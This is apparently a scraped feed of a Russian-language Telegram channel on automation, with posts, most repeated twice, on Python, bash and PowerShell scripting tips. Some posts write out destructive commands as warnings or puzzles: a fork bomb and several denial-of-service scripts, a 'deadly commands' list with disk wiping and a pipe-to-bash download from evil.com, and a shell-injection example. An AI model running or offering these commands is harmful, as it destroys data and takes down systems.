Топ-3 ошибки в продакшен-скриптах на Python
1. Молчаливые падения:
2. Жесткие зависимости:
3. Небезопасные команды:
Исправленные версии:
🔥 Эти ошибки встречаются даже в скриптах опытных разработчиков
👉 Какой ваш самый болезненный баг в продакшене?
🌐 @automate_today | #python
1. Молчаливые падения:
# Плохо: скрипт упадет без объяснения
os.remove("/tmp/lock.file")
2. Жесткие зависимости:
# Проблема: неявно требует pandas
import pandas as pd
df = pd.read_csv("data.csv")
3. Небезопасные команды:
# Уязвимость к инъекциям
os.system(f"rm -rf {user_input}")
Исправленные версии:
# 1. Явная обработка ошибок
try:
os.remove("/tmp/lock.file")
except OSError as e:
logging.error(f"Ошибка удаления: {e}")
sys.exit(1)
# 2. Проверка зависимостей
try:
import pandas as pd
except ImportError:
print("Установите pandas: pip install pandas")
sys.exit(1)
# 3. Безопасные вызовы
subprocess.run(["rm", "-rf", sanitized_input])
🔥 Эти ошибки встречаются даже в скриптах опытных разработчиков
👉 Какой ваш самый болезненный баг в продакшене?
🌐 @automate_today | #python
Как заменить 100 строк bash одной строкой Python?
Типичный пайплайн в bash для обработки логов и отправки алертов:
Тот же функционал на Python (с обработкой ошибок!):
Почему это лучше:
1. Читаемые названия колонок вместо позиций $1, $2
2. Автоматическая обработка JSON
3. Таймаут на запрос
4. Лучшая производительность на больших файлах
Бенчмарк (лог 1GB):
- Bash: 42 сек
- Python: 18 сек
👉 Какие ваши любимые замены bash-пайплайнам? Покажите однострочники!
🌐 @automate_today | #python #bash
Типичный пайплайн в bash для обработки логов и отправки алертов:
grep "CRITICAL" /var/log/app.log | awk '{print $1, $3}' | curl -X POST -d @- $WEBHOOK_URLТот же функционал на Python (с обработкой ошибок!):
import pandas as pd, requests
# Однострочник с проверками
(pd.read_csv('/var/log/app.log', sep=' ', names=['time', 'level', 'msg'])
.query("level == 'CRITICAL'")[['time', 'msg']]
.to_json(orient='records')
.pipe(lambda x: requests.post(WEBHOOK_URL, data=x, timeout=5))
)
Почему это лучше:
1. Читаемые названия колонок вместо позиций $1, $2
2. Автоматическая обработка JSON
3. Таймаут на запрос
4. Лучшая производительность на больших файлах
Бенчмарк (лог 1GB):
- Bash: 42 сек
- Python: 18 сек
👉 Какие ваши любимые замены bash-пайплайнам? Покажите однострочники!
🌐 @automate_today | #python #bash
Почему ваши скрипты PowerShell выглядят как 2007 год?
Устаревший подход:
Современный PowerShell 7.4:
Что изменилось:
- Поддержка .NET Core (кроссплатформенность)
- Pipeline parallelization
- Ternary операторы (PS 7.0+)
- Null-conditional (PS 7.1+)
🔥 60% админов застряли на PS 5.1 из-за Server 2016
👉 Кто уже использует PS 7+ в продакшене? Делитесь фичами!
🌐 @automate_today | #powershell
Устаревший подход:
Write-Host "Error!" -ForegroundColor Red # PS 2.0 style
Get-Content log.txt | % { $_ -replace "foo", "bar" } # Медленно
Современный PowerShell 7.4:
# Яркие цвета через ANSI-коды
$PSStyle.Formatting.Warning = "`e[93m"
Write-Output "$($PSStyle.Foreground.BrightRed)Critical!$($PSStyle.Reset)"
# Параллельная обработка (в 5 раз быстрее)
Get-Content log.txt | ForEach-Object -Parallel {
$_ -replace "foo", "bar"
} -ThrottleLimit 8
# Новые операторы
$json = Get-Content config.json | ConvertFrom-Json
$json.Enabled ?? $false # Null-coalescing
Что изменилось:
- Поддержка .NET Core (кроссплатформенность)
- Pipeline parallelization
- Ternary операторы (PS 7.0+)
- Null-conditional (PS 7.1+)
🔥 60% админов застряли на PS 5.1 из-за Server 2016
👉 Кто уже использует PS 7+ в продакшене? Делитесь фичами!
🌐 @automate_today | #powershell
👍1
Задачка на собеседовании: как уронить сервер одним скриптом?
Ожидаемый ответ (fork bomb):
Неочевидные решения:
1. Дисковая атака:
2. OOM через cgroups:
3. Сетевой коллапс:
Защита:
👉 Какие нестандартные способы DoS вы знаете?
🌐 @automate_today | #bash
Ожидаемый ответ (fork bomb):
:(){ :|:& };: # КлассикаНеочевидные решения:
1. Дисковая атака:
# Заполнит inodes быстрее, чем free space
for i in {1..100000}; do mkdir /tmp/$i; touch /tmp/$i/{1..100}; done
2. OOM через cgroups:
# Создаем memory-hungry процесс в ограниченной группе
cgcreate -g memory:/memhog
echo 1G > /sys/fs/cgroup/memory/memhog/memory.limit_in_bytes
bash -c 'a=(); while true; do a+=($(seq 1 100000)); done' &
echo $! > /sys/fs/cgroup/memory/memhog/cgroup.procs
3. Сетевой коллапс:
# Для систем с неграмотным ulimit
for i in {1..65535}; do nc -l $i & done
Защита:
# В /etc/security/limits.conf
* hard nproc 500
* hard nofile 2048
👉 Какие нестандартные способы DoS вы знаете?
🌐 @automate_today | #bash
👍2
Как автоматизировать себя из Slack/Telegram?
Полноценный бот на 15 строк Python (Flask + Ansible):
Как это работает:
1. Вебхук из Slack → POST /deploy?env=prod
2. Запуск Ansible с нужным inventory
3. Ответ с мемом в чат
Дополнитеьные фичи:
- Валидация по secret token
- Логирование в Prometheus
- Кнопки через Slack Block Kit
Пример Ansible-уведомления:
🔥 Так работают ленивые гении — тратят 1 час на автотацию, чтобы сэкономить 10 часов рутины
👉 Какие чат-команды вы автоматизировали? Покажите реализации, мне будет очень интересно посмотреть!
🌐 @automate_today | #python
Полноценный бот на 15 строк Python (Flask + Ansible):
from flask import Flask, request
import subprocess, random
app = Flask(__name__)
MEMES = ["https://i.imgur.com/xxx.jpg", ...]
@app.route('/deploy', methods=['POST'])
def deploy():
if request.form.get('token') != SECRET:
return "Denied", 403
subprocess.run(["ansible-playbook", "deploy.yml", "-l", request.form['env']])
return random.choice(MEMES), 200
Как это работает:
1. Вебхук из Slack → POST /deploy?env=prod
2. Запуск Ansible с нужным inventory
3. Ответ с мемом в чат
Дополнитеьные фичи:
- Валидация по secret token
- Логирование в Prometheus
- Кнопки через Slack Block Kit
Пример Ansible-уведомления:
- name: Notify Slack
uri:
url: "{{ webhook }}"
method: POST
body_format: json
body:
text: "Deployed {{ app }} to {{ env }}"
icon_emoji: ":rocket:"
🔥 Так работают ленивые гении — тратят 1 час на автотацию, чтобы сэкономить 10 часов рутины
👉 Какие чат-команды вы автоматизировали? Покажите реализации, мне будет очень интересно посмотреть!
🌐 @automate_today | #python
❤1
Как автоматизировать ругань в чате, если CI/CD падает?
Знакомо, когда билд сломан, а разработчики делают вид, что ничего не происходит? Пора научить систему стыдить их автоматически!
Вот простой скрипт для Slack-бота, который парсит логи Jenkins и публично зовёт на помощь виновника:
Почему это работает?
1. Публичный стыд — мощный мотиватор.
2. FOMO-эффект: "А вдруг следующий — я?"
3. Экономит время DevOps — не надо вручную писать в чат.
Лайфхак: Добавьте рандомные мотивирующие сообщения типа "Зато в Google так не делают!" для разнообразия.
Пост шуточный, не издевайтесь над коллегами, живите дружно :)
🌐 @automate_today | #python
Знакомо, когда билд сломан, а разработчики делают вид, что ничего не происходит? Пора научить систему стыдить их автоматически!
Вот простой скрипт для Slack-бота, который парсит логи Jenkins и публично зовёт на помощь виновника:
import requests
import json
# Парсим логи Jenkins (пример)
failed_build = "Build #123 FAILED"
culprit = "developer123"
slack_message = {
"text": f"🔥 @{culprit}, твой билд сломан, и теперь весь отдел знает. Почини, пока не начался хаос!"
}
requests.post("SLACK_WEBHOOK_URL", json=slack_message)
Почему это работает?
1. Публичный стыд — мощный мотиватор.
2. FOMO-эффект: "А вдруг следующий — я?"
3. Экономит время DevOps — не надо вручную писать в чат.
Лайфхак: Добавьте рандомные мотивирующие сообщения типа "Зато в Google так не делают!" для разнообразия.
Пост шуточный, не издевайтесь над коллегами, живите дружно :)
🌐 @automate_today | #python
😁1
rm -rf — не самая опасная команда в Linux. Вот ТОП-5 тихих убийц
Все знают про
☠️ Список смертельных команд:
1.
2.
3.
4.
5.
Как защититься?
- Используйте
- Настройте sudoers чтобы запретить опасные команды
- Регулярно делайте бэкапы
Самая страшная команда, которую я случайно запускал — это
🌐 @automate_today
Все знают про
rm -rf /, но настоящие профессионалы боятся другого. ☠️ Список смертельных команд:
1.
chmod -R 777 / — сделает систему уязвимой навсегда 2.
dd if=/dev/zero of=/dev/sda — стирает диск без шансов на recovery 3.
:(){ :|:& };: — форк-бомба, которая убьёт сервер за секунды 4.
mv / /dev/null — перенос корня в никуда 5.
curl http://evil.com/script.sh | bash — classic, но всё ещё работает Как защититься?
- Используйте
alias rm='rm -i' - Настройте sudoers чтобы запретить опасные команды
- Регулярно делайте бэкапы
Самая страшная команда, которую я случайно запускал — это
sudo rm -rf /var/log/*, но случайно тыркнул на пробел: sudo rm -rf /var/log / *🌐 @automate_today
👍3🔥1
Excel — это не API. Но можно сделать вид
Ваш отдел до сих пор шлёт данные в .xlsx? Вот как превратить таблицу в REST API за 5 минут:
Что это даёт?
1. Больше не нужно вручную конвертировать файлы
2. Можно подключить фронтенд напрямую
3. Автоматическая документация через /docs
Лайфхак: Добавьте авторизацию, если данные конфиденциальные.
Кто ещё ненавидит Excel, но вынужден с ним работать? Давайте вместе придумаем, как убить эту боль.
🌐 @automate_today | #python
Ваш отдел до сих пор шлёт данные в .xlsx? Вот как превратить таблицу в REST API за 5 минут:
from fastapi import FastAPI
import pandas as pd
app = FastAPI()
df = pd.read_excel("ugly_data.xlsx")
@app.get("/data")
def get_data():
return {"data": df.to_dict()}
Что это даёт?
1. Больше не нужно вручную конвертировать файлы
2. Можно подключить фронтенд напрямую
3. Автоматическая документация через /docs
Лайфхак: Добавьте авторизацию, если данные конфиденциальные.
Кто ещё ненавидит Excel, но вынужден с ним работать? Давайте вместе придумаем, как убить эту боль.
🌐 @automate_today | #python
❤2👍1
Хелкод нужна ваша помощь!
Дорогие коллеги, рад приветствовать всех в нашей группе! Мы преодолели отметку в 100 человек буквально за 2 недели, это невероятно мощный результат, большое, Вам, спасибо!
Мы достигаем результатов быстрее, чем ожидали изначально, но на этом останавливаться не собираемся! На данный момент единственной площадкой, где есть упоминание и ссылка на группу - Хабр, но в наших планах на ближайшее время публиковаться также на Tproger, VC.ru и Дзен. Мы хотим и дальше развивать сообщество, делая его всё масштабнее для Вас, интереснее для Нас.
Мы запускам канал в Дзене, где будем публиковать полезные материалы. Это необходимо, чтобы больше людей узнали о нас! Но есть нюанс: чтобы статьи начали рекомендовать в ленте - нужно иметь 10 подписчиков. Если у вас есть аккаунт на Дзене - поддержите нас, пожалуйста. Это будет бесценный вклад в начало развития сообщества!
Ссылка на канал: https://dzen.ru/automate_today
Также, хотелось бы пару слов сказать о нынешних обстоятельствах и дальнейшем развитии нашего канала. В настоящее время мы пытаемся отладить нашу работу, "поставить на конвейер", так как очень много времени уходит на написание статей, постов. Это обязательно пройдет, мы вырабатываем структуру, ищем удобные инструменты и тд.
На дальнейшее развитие у нас невероятно много планов по интересному контенту, обучающим материалам и другим, не менее удивительным анонсам. Дальше - лучше! Дальше - интереснее! Спасибо всем Вам за внимание и интерес к нашему скромному проекту!
Дорогие коллеги, рад приветствовать всех в нашей группе! Мы преодолели отметку в 100 человек буквально за 2 недели, это невероятно мощный результат, большое, Вам, спасибо!
Мы достигаем результатов быстрее, чем ожидали изначально, но на этом останавливаться не собираемся! На данный момент единственной площадкой, где есть упоминание и ссылка на группу - Хабр, но в наших планах на ближайшее время публиковаться также на Tproger, VC.ru и Дзен. Мы хотим и дальше развивать сообщество, делая его всё масштабнее для Вас, интереснее для Нас.
Мы запускам канал в Дзене, где будем публиковать полезные материалы. Это необходимо, чтобы больше людей узнали о нас! Но есть нюанс: чтобы статьи начали рекомендовать в ленте - нужно иметь 10 подписчиков. Если у вас есть аккаунт на Дзене - поддержите нас, пожалуйста. Это будет бесценный вклад в начало развития сообщества!
Ссылка на канал: https://dzen.ru/automate_today
Также, хотелось бы пару слов сказать о нынешних обстоятельствах и дальнейшем развитии нашего канала. В настоящее время мы пытаемся отладить нашу работу, "поставить на конвейер", так как очень много времени уходит на написание статей, постов. Это обязательно пройдет, мы вырабатываем структуру, ищем удобные инструменты и тд.
На дальнейшее развитие у нас невероятно много планов по интересному контенту, обучающим материалам и другим, не менее удивительным анонсам. Дальше - лучше! Дальше - интереснее! Спасибо всем Вам за внимание и интерес к нашему скромному проекту!
🍾1
Когда Bash быстрее Python
Вы написали "оптимизированный" парсер на Python, а он проигрывает старому доброму grep?
Задача: Найти все ошибки в логах Nginx.
🐍 Python (0.8 сек):
🐚 Bash (0.02 сек):
Почему так?
- Bash не тратит время на запуск интерпретатора
- GNU-утилиты (grep, awk) оптимизированы десятилетиями
- Меньше накладных расходов
Когда в последний раз Bash спасал вам жизнь? Делитесь в комментах!
🌐 @automate_today | #bash #python
Вы написали "оптимизированный" парсер на Python, а он проигрывает старому доброму grep?
Задача: Найти все ошибки в логах Nginx.
🐍 Python (0.8 сек):
with open("access.log") as f:
errors = [line for line in f if "ERROR" in line]🐚 Bash (0.02 сек):
grep "ERROR" access.log
Почему так?
- Bash не тратит время на запуск интерпретатора
- GNU-утилиты (grep, awk) оптимизированы десятилетиями
- Меньше накладных расходов
Когда в последний раз Bash спасал вам жизнь? Делитесь в комментах!
🌐 @automate_today | #bash #python
❤2
Автоматизируем ненависть к Jira
Устали вручную закрывать задачи после коммитов? Вот скрипт, который сделает это за вас:
❓Как внедрить:
1. Добавьте в git hooks
2. Настройте автоматическое определение issue key из ветки
3. Профит!
❗️Важно: Не забудьте про обработку ошибок и логирование.
Кто ещё ненавидит трекеры задач? Какие инструменты вы используете вместо них?
🌐 @automate_today | #python
Устали вручную закрывать задачи после коммитов? Вот скрипт, который сделает это за вас:
import requests
# Jira API + Git hook
issue_key = "PROJ-123"
requests.post(
f"https://jira.example.com/rest/api/2/issue/{issue_key}/transitions",
json={"transition": {"id": "31"}}, # ID статуса "Resolved"
auth=("login", "password")
)
❓Как внедрить:
1. Добавьте в git hooks
2. Настройте автоматическое определение issue key из ветки
3. Профит!
❗️Важно: Не забудьте про обработку ошибок и логирование.
Кто ещё ненавидит трекеры задач? Какие инструменты вы используете вместо них?
🌐 @automate_today | #python
👏2
🤫 Секретные aliases Senior DevOps
Вот команды, которые есть только у избранных:
Как добавить?
1. Откройте ~/.bashrc
2. Вставьте aliases
3. Выполните source ~/.bashrc
Мой любимый alias:
Какой ваш любимый alias? Делитесь в комментах — соберём мега-коллекцию! Если тема будет интересна - добавлю в бота отдельную кнопку с выводом полезных alias!
🌐 @automate_today | #bash
Вот команды, которые есть только у избранных:
# Перезапустить предыдущую команду с sudo
alias fuck='sudo $(history -p !!)'
# Найти и убить процесс по имени
alias killme='pkill -9 -f'
# Показать топ-5 процессов по памяти
alias memekiller='ps aux | sort -nk4 | tail -n 5'
Как добавить?
1. Откройте ~/.bashrc
2. Вставьте aliases
3. Выполните source ~/.bashrc
Мой любимый alias:
alias now='date +"%T"'
Какой ваш любимый alias? Делитесь в комментах — соберём мега-коллекцию! Если тема будет интересна - добавлю в бота отдельную кнопку с выводом полезных alias!
🌐 @automate_today | #bash
🥰1
Уволить сотрудника за 1 клик
Offboarding — это боль. Автоматизируем её:
Важные доработки:
1. Добавьте проверку прав
2. Архивируйте данные вместо удаления
3. Уведомление в корпоративный чат
⚠️ Это демонстрационный пример! Не используйте в проде без доработок.
Кто автоматизировал HR-процессы? Делитесь легальными способами.
🌐 @automate_today | #bash
Offboarding — это боль. Автоматизируем её:
#!/bin/bash
USERNAME=$1
# Отозвать доступ
sudo usermod -L $USERNAME # Заблокировать логин
sudo rm -rf /home/$USERNAME # Удалить домашнюю директорию
# Уведомить HR
echo "$USERNAME уволен. Доступ отозван." | mail -s "Offboarding" hr@company.com
Важные доработки:
1. Добавьте проверку прав
2. Архивируйте данные вместо удаления
3. Уведомление в корпоративный чат
⚠️ Это демонстрационный пример! Не используйте в проде без доработок.
Кто автоматизировал HR-процессы? Делитесь легальными способами.
🌐 @automate_today | #bash
👎3❤1
ChatGPT пишет документацию вместо вас
Генерируете описание функций вручную? Вот как автоматизировать:
Вывод:
Советы:
1. Добавьте ваши стандарты документации в промпт
2. Проверяйте результат перед коммитом
3. Настройте как git hook
Кто уже использует ИИ для документирования? Какие подводные камни заметили?
🌐 @automate_today | #python
Генерируете описание функций вручную? Вот как автоматизировать:
import openai
code = """
def calculate_sum(a, b):
return a + b
"""
response = openai.ChatCompletion.create(
model="gpt-4",
messages=[{"role": "user", "content": f"Напиши docstring для Python-функции: {code}"}]
)
print(response.choices[0].message.content)
Вывод:
"""
Calculates the sum of two numbers.
Args:
a (int): First number.
b (int): Second number.
Returns:
int: The sum of a and b.
"""
Советы:
1. Добавьте ваши стандарты документации в промпт
2. Проверяйте результат перед коммитом
3. Настройте как git hook
Кто уже использует ИИ для документирования? Какие подводные камни заметили?
🌐 @automate_today | #python
Бот для ответов на однотипные вопросы
Надоело 100 раз объяснять, как развернуть стенд? Создайте Telegram-бота:
Что можно добавить:
1. Кнопки вместо команд
2. Интеграцию с вашей базой знаний
3. Обратную связь по ответам
Какие вопросы вам надоело повторять? Давайте вместе напишем идеального бота!
🌐 @automate_today | #python
Надоело 100 раз объяснять, как развернуть стенд? Создайте Telegram-бота:
from telegram import Update
from telegram.ext import Application, CommandHandler
async def faq(update: Update, context):
await update.message.reply_text(
"Вот ответы на частые вопросы:\n"
"1. Как развернуть стенд? /deploy\n"
"2. Где логи? /logs\n"
)
app = Application.builder().token("TOKEN").build()
app.add_handler(CommandHandler("faq", faq))
app.run_polling()
Что можно добавить:
1. Кнопки вместо команд
2. Интеграцию с вашей базой знаний
3. Обратную связь по ответам
Какие вопросы вам надоело повторять? Давайте вместе напишем идеального бота!
🌐 @automate_today | #python
👍3
Скрипт для апокалипсиса
Если завтра отключат интернет, этот bash-однострочник спасёт вас:
Доработки для параноиков:
1. Шифрование бэкапа
2. Отправка на внешний носитель
3. Проверка целостности
Какой ваш must-have скрипт на случай БП? Делитесь в комментах!
🌐 @automate_today | #bash
Если завтра отключат интернет, этот bash-однострочник спасёт вас:
#!/bin/bash
# 1. Найти все сервера в сети
nmap -sn 192.168.1.0/24 > network_scan.txt
# 2. Проверить доступность портов
while read ip; do nc -zv $ip 22 80 443; done < network_scan.txt
# 3. Заархивировать важное
tar -czvf backup_$(date +%s).tar.gz ~/Documents /etc
Доработки для параноиков:
1. Шифрование бэкапа
2. Отправка на внешний носитель
3. Проверка целостности
Какой ваш must-have скрипт на случай БП? Делитесь в комментах!
🌐 @automate_today | #bash
👍5
sudo rm -rf /: Почему эту команду до сих пор не удалили?
Даже в 2024 году
Как защитить продакшен:
Образовательный метод:
Вы сталкивались с "удалением всего"? Как спасали систему?
🌐 @automate_today | #bash
Даже в 2024 году
rm -rf / остаётся легальной командой в Linux — просто теперь она требует --no-preserve-root. Но почему? Потому что иногда админам намеренно нужно "сжечь мосты" (тестовые стенды, инстансы с критичными багами). Как защитить продакшен:
alias rm='rm -i' — спрашивает подтверждение перед каждым удалением. chattr +i /critical_dir — делает папку неизменяемой даже для root. Образовательный метод:
echo 'Ало, ты серьёзно?! Добавь --no-preserve-root, если осознаёшь последствия.' > /usr/local/bin/rm
chmod +x /usr/local/bin/rm # Кастомный "rm" с проверкой
Вы сталкивались с "удалением всего"? Как спасали систему?
🌐 @automate_today | #bash
👍3
echo $VAR — опасная строка в bash-скриптах
Проблема:
- Неквотированные переменные в bash — это "бомба замедленного действия". Пример:
Правила выживания:
- Всегда заключайте переменные в кавычки:
- Используйте
Какие грабли с кавычками/переменными вас подводили?
🌐 @automate_today | #bash
Проблема:
- Неквотированные переменные в bash — это "бомба замедленного действия". Пример:
files="*.txt"
rm $files # Удалит ВСЕ .txt файлы, даже если вы хотели один!
Правила выживания:
- Всегда заключайте переменные в кавычки:
rm "$files" # Удалит только файл с именем "*.txt"
- Используйте
printf вместо echo — он предсказуемее: printf '%s\n' "$VAR" # Не сломается на спецсимволах
Какие грабли с кавычками/переменными вас подводили?
🌐 @automate_today | #bash
👍3
Автоматизация без техдолга: как писать скрипты, которые проживут 5 лет
Антипаттерны:
- Хардкод путей (
- Зависимость от версий (
- Молчаливые падения (
Как делать правильно:
1. Конфиги в
2. Параметризация через
3. Явные проверки:
По каким принципам вы проектируете долгоживущие скрипты?
🌐 @automate_today | #bash
Антипаттерны:
- Хардкод путей (
/home/user/script.sh). - Зависимость от версий (
python3.6 вместо python3). - Молчаливые падения (
curl без --fail). Как делать правильно:
1. Конфиги в
~/.config/ — путь стандартизирован для всех Linux-приложений. 2. Параметризация через
getopts (bash) или argparse (Python): while getopts "c:" opt; do
case $opt in
c) CONFIG_FILE="$OPTARG" ;;
esac
done
3. Явные проверки:
[[ -f "$FILE" ]] || { echo "ERROR: $FILE не существует"; exit 1; }
По каким принципам вы проектируете долгоживущие скрипты?
🌐 @automate_today | #bash
⚡2
PowerShell: Почему Write-Host — это грех
Разница:
-
-
Пример катастрофы:
Когда использовать
Только для интерактивных скриптов с цветным выводом.
Какие ещё PowerShell-антипаттерны вас раздражают?
🌐 @automate_today | #powershell
Разница:
-
Write-Host — выводит текст напрямую в консоль (нельзя перенаправить в файл!). -
Write-Output — попадает в конвейер (pipeline), работает с >, |. Пример катастрофы:
# Так логи НЕ сохранятся:
Write-Host "Error!" | Out-File log.txt # Пустой файл
Когда использовать
Write-Host: Только для интерактивных скриптов с цветным выводом.
Какие ещё PowerShell-антипаттерны вас раздражают?
🌐 @automate_today | #powershell
👍3⚡1
Systemd для Python-скриптов: гайд
Зачем это нужно:
- Автозапуск при загрузке.
- Автоматический перезапуск при падении.
- Централизованное логирование через
Шаблон сервиса:
Как включить:
Какие скрипты вы запускаете через systemd?
🌐 @automate_today
Зачем это нужно:
- Автозапуск при загрузке.
- Автоматический перезапуск при падении.
- Централизованное логирование через
journalctl. Шаблон сервиса:
[Unit]
Description=My Python Bot
After=network.target
[Service]
User=botuser
WorkingDirectory=/opt/bot
ExecStart=/usr/bin/python3 -u bot.py
Restart=always
Environment="API_KEY=secret"
[Install]
WantedBy=multi-user.target
Как включить:
sudo systemctl daemon-reload
sudo systemctl enable --now mybot
Какие скрипты вы запускаете через systemd?
🌐 @automate_today
⚡2👍2